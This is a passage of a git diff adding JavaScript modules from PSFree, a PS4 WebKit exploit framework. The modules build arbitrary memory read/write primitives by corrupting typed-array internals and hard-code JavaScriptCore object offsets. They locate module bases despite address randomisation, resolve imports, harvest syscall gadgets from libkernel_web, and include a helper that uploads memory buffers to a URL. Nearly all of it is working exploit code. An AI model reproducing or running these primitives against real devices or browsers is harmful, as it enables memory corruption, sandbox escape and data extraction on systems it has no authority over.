= main_addr; + this.worker = worker; + this.worker_addr = worker_addr; + + // The initial creation of the "a" property will change the butterfly + // address. Do it now so we can cache it for addrof(). + worker.a = 0; // dummy value, we just want to create the "a" property + this.butterfly = read64(main, worker_index + o.js_butterfly); + + write32(main, worker_index + o.view_m_length, 0xffffffff); + // setup main's m_vector to worker + write64(main, worker_index + o.view_m_vector, main_addr); + write64(worker, o.view_m_vector, worker_addr); + + this._current_addr = main_addr; + + init_module(this); + } +} + +export class Memory2 extends MemoryBase { + constructor(main, worker) { + super(); + + this.main = main; + this.worker = worker; + + // The initial creation of the "a" property will change the butterfly + // address. Do it now so we can cache it for addrof(). + worker.a = 0; // dummy value, we just want to create the "a" property + this.butterfly = read64(main, o.js_butterfly); + + write32(main, o.view_m_length, 0xffffffff); + + this._current_addr = Int.Zero; + + init_module(this); + } +} diff --git a/module/memtools.mjs b/module/memtools.mjs new file mode 100644 index 0000000..91a639e --- /dev/null +++ b/module/memtools.mjs @@ -0,0 +1,225 @@ +/* Copyright (C) 2023 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +// This module are for utilities that depend on running the exploit first + +import { Int } from './int64.mjs'; +import { Addr, mem } from './mem.mjs'; +import { align } from './utils.mjs'; +import { KB } from './constants.mjs'; +import { read32 } from './rw.mjs'; + +import * as rw from './rw.mjs'; +import * as o from './offset.mjs'; + +export function make_buffer(addr, size) { + // see enum TypedArrayMode from + // WebKit/Source/JavaScriptCore/runtime/JSArrayBufferView.h + // at webkitgtk 2.34.4 + // + // views with m_mode < WastefulTypedArray don't have a ArrayBuffer object + // associated with them, if we ask for view.buffer, it will be created on + // the fly + const mode_fast = 0; + const u = new Uint8Array(1); + const u_addr = mem.addrof(u); + + const old_addr = u_addr.read64(o.view_m_vector); + u_addr.write64(o.view_m_vector, addr); + + const old_size = u_addr.read32(o.view_m_length); + u_addr.write32(o.view_m_length, size); + + const old_mode = u_addr.read32(o.view_m_mode); + // force mode to FastTypedArray + u_addr.write32(o.view_m_mode, mode_fast); + + const res = u.buffer; + + // restore + u_addr.write64(o.view_m_vector, old_addr); + u_addr.write32(o.view_m_length, old_size); + u_addr.write32(o.view_m_mode, old_mode); + + return res; +} + +function eq(a, b) { + return (a.low() === b.low()) && (a.high() === b.high()); +} + +// these values came from analyzing dumps from CelesteBlue +function check_magic_at(p, is_text) { + // byte sequence that is very likely to appear at offset 0 of a .text + // segment + const text_magic = [ + new Int([0x55, 0x48, 0x89, 0xe5, 0x41, 0x57, 0x41, 0x56]), + new Int([0x41, 0x55, 0x41, 0x54, 0x53, 0x50, 0x48, 0x8d]), + ]; + + // the .data "magic" is just a portion of the PT_SCE_MODULE_PARAM segment + + // .data magic from 3.00, 6.00, and 6.20 + //const data_magic = [ + // new Int(0x18), + // new Int(0x3c13f4bf, 0x1), + //]; + + // .data magic from 8.00 and 8.03 + const data_magic = [ + new Int(0x20), + new Int(0x3c13f4bf, 0x2), + ]; + + const magic = is_text ? text_magic : data_magic; + const value = [p.read64(0), p.read64(8)]; + + return eq(value[0], magic[0]) && eq(value[1], magic[1]); +} + +// Finds the base address of a segment: .text or .data +// Used on the ps4 to locate module base addresses +// * p: +// an address pointing somewhere in the segment to search +// * is_text: +// whether the segment is .text or .data +// * is_back: +// whether to search backwards (to lower addresses) or forwards +// +// Modules are likely to be separated by a couple of unmapped pages because of +// Address Space Layout Randomization (all module base addresses are +// randomized). This means that this function will either succeed or crash on +// a page fault, if the magic is not present. +// +// To be precise, modules are likely to be "surrounded" by unmapped pages, it +// does not mean that the distance between a boundary of a module and the +// nearest unmapped page is 0. +// +// The boundaries of a module is its base and end addresses. +// +// let module_base_addr = find_base(...); +// // Not guaranteed to crash, the nearest unmapped page is not necessarily at +// // 0 distance away from module_base_addr. +// addr.read8(-1); +// +export function find_base(addr, is_text, is_back) { + // ps4 page size + const page_size = 16 * KB; + // align to page size + addr = align(addr, page_size); + const offset = (is_back ? -1 : 1) * page_size; + while (true) { + if (check_magic_at(addr, is_text)) { + break; + } + addr = addr.add(offset) + } + return addr; +} + +// gets the address of the underlying buffer of a JSC::JSArrayBufferView +export function get_view_vector(view) { + if (!ArrayBuffer.isView(view)) { + throw TypeError(`object not a JSC::JSArrayBufferView: ${view}`); + } + return mem.addrof(view).readp(o.view_m_vector); +} + +export function resolve_import(import_addr) { + if (import_addr.read16(0) !== 0x25ff) { + throw Error( + `instruction at ${import_addr} is not of the form: jmp qword` + + ' [rip + X]' + ); + } + // module_function_import: + // jmp qword [rip + X] + // ff 25 xx xx xx xx // signed 32-bit displacement + const disp = import_addr.read32(2); + // sign extend + const offset = new Int(disp, disp >> 31); + // The rIP value used by "jmp [rip + X]" instructions is actually the rIP + // of the next instruction. This means that the actual address used is + // [rip + X + sizeof(jmp_insn)], where sizeof(jmp_insn) is the size of the + // jump instruction, which is 6 in this case. + const function_addr = import_addr.add(offset.add(6)).readp(0); + + return function_addr; +} + +export function init_syscall_array( + syscall_array, + libkernel_web_base, + max_search_size, +) { + if (typeof max_search_size !== 'number') { + throw TypeError(`max_search_size is not a number: ${max_search_size}`); + } + if (max_search_size < 0) { + throw Error(`max_search_size is less than 0: ${max_search_size}`); + } + + const libkernel_web_buffer = make_buffer( + libkernel_web_base, + max_search_size, + ); + const kbuf = new Uint8Array(libkernel_web_buffer); + + // Search 'rdlo' string from libkernel_web's .rodata section to gain an + // upper bound on the size of the .text section. + let text_size = 0; + let found = false; + for (let i = 0; i < max_search_size; i++) { + if (kbuf[i] === 0x72 + && kbuf[i + 1] === 0x64 + && kbuf[i + 2] === 0x6c + && kbuf[i + 3] === 0x6f + ) { + text_size = i; + found = true; + break; + } + } + if (!found) { + throw Error( + '"rdlo" string not found in libkernel_web, base address:' + + ` ${libkernel_web_base}` + ); + } + + // search for the instruction sequence: + // syscall_X: + // mov rax, X + // mov r10, rcx + // syscall + for (let i = 0; i < text_size; i++) { + if (kbuf[i] === 0x48 + && kbuf[i + 1] === 0xc7 + && kbuf[i + 2] === 0xc0 + && kbuf[i + 7] === 0x49 + && kbuf[i + 8] === 0x89 + && kbuf[i + 9] === 0xca + && kbuf[i + 10] === 0x0f + && kbuf[i + 11] === 0x05 + ) { + const syscall_num = read32(kbuf, i + 3); + syscall_array[syscall_num] = libkernel_web_base.add(i); + // skip the sequence + i += 11; + } + } +} diff --git a/module/offset.mjs b/module/offset.mjs new file mode 100644 index 0000000..509260c --- /dev/null +++ b/module/offset.mjs @@ -0,0 +1,35 @@ +/* Copyright (C) 2023 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +// offsets for JSC::JSObject +export const js_butterfly = 0x8; + +// offsets for JSC::JSArrayBufferView +export const view_m_vector = 0x10; +export const view_m_length = 0x18; +export const view_m_mode = 0x1c; + +// sizeof JSC::JSArrayBufferView +export const size_view = 0x20; + +// offsets for WTF::StringImpl +export const strimpl_strlen = 4; +export const strimpl_m_data = 8; +export const strimpl_inline_str = 0x14; + +// sizeof WTF::StringImpl +export const size_strimpl = 0x18; diff --git a/module/rw.mjs b/module/rw.mjs new file mode 100644 index 0000000..7ebfb9e --- /dev/null +++ b/module/rw.mjs @@ -0,0 +1,105 @@ +/* Copyright (C) 2023 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +import { Int } from './int64.mjs'; + +// view.buffer is the underlying ArrayBuffer of a TypedArray, but since we will +// be corrupting the m_vector of our target views later, the ArrayBuffer's +// buffer will not correspond to our fake m_vector anyway. +// +// can't use: +// +// function read32(u8_view, offset) { +// let res = new Uint32Array(u8_view.buffer, offset, 1); +// return res[0]; +// } +// +// to implement read32, we need to index the view instead: +// +// function read32(u8_view, offset) { +// let res = 0; +// for (let i = 0; i < 4; i++) { +// res += u8_view[offset + i] << i*8; +// } +// // << returns a signed integer, >>> converts it to unsigned +// return res >>> 0; +// } + +// for reads less than 8 bytes +function read(u8_view, offset, size) { + let res = 0; + for (let i = 0; i < size; i++) { + res += u8_view[offset + i] << i*8; + } + // << returns a signed integer, >>> converts it to unsigned + return res >>> 0; +} + +export function read16(u8_view, offset) { + return read(u8_view, offset, 2); +} + +export function read32(u8_view, offset) { + return read(u8_view, offset, 4); +} + +export function read64(u8_view, offset) { + let res = []; + for (let i = 0; i < 8; i++) { + res.push(u8_view[offset + i]); + } + return new Int(res); +} + +// for writes less than 8 bytes +function write(u8_view, offset, value, size) { + for (let i = 0; i < size; i++) { + u8_view[offset + i] = (value >>> i*8) & 0xff; + } +} + +export function write16(u8_view, offset, value) { + write(u8_view, offset, value, 2); +} + +export function write32(u8_view, offset, value) { + write(u8_view, offset, value, 4); +} + +export function write64(u8_view, offset, value) { + if (!(value instanceof Int)) { + throw TypeError('write64 value must be an Int'); + } + + let low = value.low(); + let high = value.high(); + + for (let i = 0; i < 4; i++) { + u8_view[offset + i] = (low >>> i*8) & 0xff; + } + for (let i = 0; i < 4; i++) { + u8_view[offset + 4 + i] = (high >>> i*8) & 0xff; + } +} + +export function sread64(str, offset) { + let res = []; + for (let i = 0; i < 8; i++) { + res.push(str.charCodeAt(offset + i)); + } + return new Int(res); +} diff --git a/module/utils.mjs b/module/utils.mjs new file mode 100644 index 0000000..23cf4a1 --- /dev/null +++ b/module/utils.mjs @@ -0,0 +1,75 @@ +/* Copyright (C) 2023 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +import { Int } from './int64.mjs'; + +export function die(msg) { + alert(msg); + undefinedFunction(); +} + +export function debug_log(msg) { + let textNode = document.createTextNode(msg); + let node = document.createElement("p").appendChild(textNode); + + document.body.appendChild(node); + document.body.appendChild(document.createElement("br")); +} + +export function clear_log() { + document.body.innerHTML = null; +} + +export function str2array(str, length, offset) { + if (offset === undefined) { + offset = 0; + } + let a = new Array(length); + for (let i = 0; i < length; i++) { + a[i] = str.charCodeAt(i + offset); + } + return a; +} + +// alignment must be 32 bits and is a power of 2 +export function align(a, alignment) { + if (!(a instanceof Int)) { + a = new Int(a); + } + const mask = -alignment & 0xffffffff; + let type = a.constructor; + let low = a.low() & mask; + return new type(low, a.high()); +} + +export async function send(url, buffer, file_name, onload=() => {}) { + const file = new File( + [buffer], + file_name, + {type:'application/octet-stream'} + ); + const form = new FormData(); + form.append('upload', file); + + debug_log('send'); + const response = await fetch(url, {method: 'POST', body: form}); + + if (!response.ok) { + throw Error(`Network response was not OK, status: ${response.status}`); + } + onload(); +}